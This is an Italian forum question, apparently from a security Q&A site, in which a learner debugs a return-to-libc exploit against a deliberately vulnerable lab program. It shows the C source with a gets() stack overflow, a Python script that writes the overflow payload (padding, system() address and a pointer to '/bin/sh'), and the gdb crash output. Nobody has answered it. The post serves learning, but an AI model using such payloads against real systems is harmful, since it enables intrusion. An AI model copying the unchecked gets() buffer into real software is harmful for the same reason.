Bug inspiegabile con lo sfruttamento ROP

1

Attualmente sto cercando di sfruttare un programma di esempio con un exploit return-to-libc. Il programma è questo:

#include <stdlib.h>
#include <stdio.h>

/* gcc -fno-stack-protector -o lab5C lab5C.c */

char global_str[128];

/* reads a string, copies it to a global */
void copytoglobal()
{
    char buffer[128] = {0};
    gets(buffer);
    memcpy(global_str, buffer, 128);
}

int main()
{
    char buffer[128] = {0};

    printf("I included libc for you...\n"\
           "Can you ROP to system()?\n");

    copytoglobal();

    return EXIT_SUCCESS;
}

Quindi ho usato gdb e ho ottenuto l'indirizzo di system (). Poi ho creato una variabile di ambiente SHELL="/ bin / sh" che ho potuto localizzare usando gdb. (era 0xffffdf91 so im usando 0xffffdf97 a causa della SHELL = parte) Quindi ho individuato l'indirizzo di ritorno di copytoglobal e ho calcolato che erano 156 byte dopo l'inizio del buffer

Da lì ho scritto questo piccolo script python:

from __future__ import print_function
import sys

orig_stdout = sys.stdout
f = open('out.txt', 'w')
sys.stdout = f

print("A"*156, end='')

print("\xa0\x6f\xe2\xf7", end='') #system's adress read from p* system
print("ABCD", end='')         #errasing return adress with garbage
print("\x97\xdf\xff\xff")     #"/bin/sh"

sys.stdout = orig_stdout
f.close()

Quando eseguo questo in gdb con r < out.txt ottengo questo risultato: 'Programma ricevuto segnale SIGSEV, errore di segmentazione. 0x44434241 in ?? ()

Quindi sembra che il programma tenti di eseguire il valore fittizio di ebp, il che è davvero strano, perché ho messo un breakpoint proprio prima della chiamata di ret alla fine di copytoglobal e questo è il modo in cui la pila sembrava:

0xffffdd1c: 0xf7e26fa0 #system() 0x44434241 #ABCD 0xffffdf97 #/bin/sh

Usare un punto di interruzione all'inizio del sistema () Posso anche dire che il programma entra nella funzione system (), ma davvero non capisco perché non apre una shell e si blocca prima della fine di system () (Ho provato a impostare un breakpoint subito prima della chiamata di ret alla fine di system () ma non è mai stata raggiunta)

Grazie in anticipo

    
posta user162119 11.12.2017 - 17:53
fonte

0 risposte

Leggi altre domande sui tag